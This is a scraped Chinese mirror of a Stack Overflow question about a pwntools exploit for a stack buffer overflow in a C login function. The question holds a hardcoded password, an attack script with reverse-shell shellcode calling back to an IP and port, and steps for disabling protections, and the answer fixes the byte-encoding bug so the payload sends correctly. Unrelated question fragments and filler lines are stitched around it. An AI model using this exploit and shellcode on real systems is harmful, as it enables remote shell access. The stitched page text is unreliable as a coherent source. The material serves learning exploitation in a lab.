- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
我正在尝试利用以下功能:
int auth(char *username, char *password) {
char userpass[16];
char *response;
if (debugmode == 1) {
printf("Debug: userpass buffer @ %p\n", userpass);
fflush(stdout);
}
if (strcmp(username, "admin") != 0) return 0; printf("***** password %p\n", password); fflush(stdout);
strcpy(userpass, password);
if (strcmp(userpass, "1974jailbreak!") == 0) {
return 1;
} else {
printf("Incorrect username and/or password.\n");
return 0;
}
return 0;
}
缓冲区溢出发生在strcpy()
处。
我使用 -m32 -z execstack -fno-stack-protector
编译它,并将 /proc/sys/kernel/randomize_va_space
设置为 0
.
堆栈看起来像:28 个字节到 EIP、EIP、shellcode。
我正在使用 pwntools 来利用它:
from pwn import *
junk = ('AAA%AAsAABAA$AAnAACAA-AA(AAD')
leaked = p32(0xffffcca0+28+4)
buf = "\x68" # from http://shell-storm.org/shellcode/files/shellcode-833.php
buf += "\xff\x0a\x0a\x0a" # <- IP Number "127.10.10.10"
buf += "\x5e\x66\x68"
buf += "\xd9\x03" # <- Port Number "55555"
buf += "\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
buf += "\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
buf += "\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
buf += "\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
buf += "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
buf += "\xeb\xce"
p = remote('127.0.0.1', 4455)
p.sendline("PASS ".encode() + junk.encode() + leaked + buf.encode())
这是 pwntools 发送的内容:
shellcode 明显不同,我的漏洞利用不起作用。如何发送正确的字节?
编辑:我正在使用python3
。 @Ctx 正确地指出这是由于编码造成的。
$ cat test.py
print ("a" + bytes("b"))
$ python2 test.py
ab
$ python3 test.py
Traceback (most recent call last):
File "test.py", line 1, in <module>
print ("a" + bytes("b"))
TypeError: string argument without an encoding
最佳答案
在这一行
p.sendline("PASS ".encode() + junk.encode() + leaked + buf.encode())
您将缓冲区编码为UTF-8。这不是您想要的,您想按原样发送它们。
即latin-1 中的 "\xff"
编码为 UTF-8 中的 "\xc3\xbf"
。
删除.encode()
调用,然后应该发送正确的字节。根据函数 p32()
的不同,可能需要对 leaked
调用 bytes()
,如下所示:
p.sendline("PASS " + junk + bytes(leaked) + buf)
关于c - 缓冲区溢出: send exploit with pwntools changes bytes,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/59194425/
我试图在较低的层次上更好地理解我的计算机,除了编写堆栈缓冲区溢出漏洞之外还有什么更好的方法?我最近遇到了 ROP。我读了论文http://cseweb.ucsd.edu/~hovav/talks/bl
我知道程序堆栈看起来有点像这样(从高到低): EIP | EBP | local variables 但是我在哪里可以找到%eax ,和其他通用寄存器?是否可以使用缓冲区溢出覆盖
我想知道维基百科的“您的意思是:...”是如何工作的,以及是否有一种方法(例如 API)可以使用它?因为我想从我的输入中获取相应的页面,但这可能包含错误。 Example 。是否有直接返回建议的查询?
关闭。这个问题是opinion-based 。目前不接受答案。 想要改进这个问题吗?更新问题,以便 editing this post 可以用事实和引文来回答它。 . 已关闭 7 年前。 Improv
我正在阅读这本书 Art of Exploitation,这是一本好书,我从exploit_notesearch.c 文件中看到了那个例子。 简要作者尝试从notesearch.c溢出程序 int m
我正在用 Python 编写一个 pandoc 过滤器来处理图像(本质上是在转换后更改文件位置)。 处理 Str 键值很容易,因为它是一个字符串 ( from pandocfilters docume
我正在尝试实现以下论文中给出的算法 1。 http://www.research.rutgers.edu/~lihong/pub/Li10Contextual.pdf 这是一个典型的探索-开发算法。我
这个问题在这里已经有了答案: "Hacking: The Art of Exploitation" - Assembly Inconsistencies in book examples vs. m
我正在使用 Ruby on Rails v3.2.2。我有以下模型类 class Country 'country_id' end class Region 'country_id' has_
linux内核存在安全问题,影响大部分android设备,基本允许任何用户成为root。 由于我使用 Linux 已有一段时间,所以我很好奇这个漏洞是如何工作的,尤其是我如何检查我的 PC(自定义构建
在编写缓冲区溢出漏洞时,我知道我需要输入一个长度数组(address_of_return_address - address_of_buffer)。并且数组需要填充shellcode的地址。这样当我的
我需要一项任务的帮助,该任务可以显示这个隐藏的按钮,该按钮将跳过一个问题(该网站是 membean)我已经安装了 greasemonkey 并尝试过 document.getElementById(“
我在 Java 应用程序中使用 SQLite,在添加行之前我需要知道是否可能违反 UNIQUE 约束。 因此,我编写了一个小方法,用于计算具有相同唯一值的行数(这里是一个用于我的表 User 的方法,
这可能与 this 有关,但我不确定它是否在同一条船上。 所以我一直在重新阅读黑客:剥削的艺术,我对书中的一些 C 代码有疑问,这对我来说不太有意义: 让我们假设我们回到了大约 2000 年,我们并没
Glicko-2 是一种用于国际象棋的评级系统,但也可用于许多其他情况。 Glicko-2 是对 Glicko-1 的改进,它解决了旧 ELO 评级的问题。 与版本 1 相比,Glicko-2 的特别
这个问题是关于《黑客:剥削的艺术》第二版第 121 页上的程序 notesearch 的利用。 在漏洞利用中有一些我不明白的地方: When the System executes the ./not
我正在遵循“Hacking-The art of exploitation”一书中的代码。书中定义的源代码随作者提供的光盘一起提供。我只是编译了预先编写的代码。根据这本书,如果我提供正确的密码,它应该
我在学习"Hacking: The Art of Exploitation" .我试图按照代码示例进行操作,但由于某种原因,汇编代码与我实际 Linux 上的汇编代码根本不匹配(以 Guest 身份在
我正在尝试利用以下功能: int auth(char *username, char *password) { char userpass[16]; char *response;
Android 有 !exploitable 的等价物吗? Crashlytics和 ACRA似乎没有针对 Android 崩溃的可利用性分析。有谁知道 Android 中的任何工具吗?请指教谢谢。
我是一名优秀的程序员,十分优秀!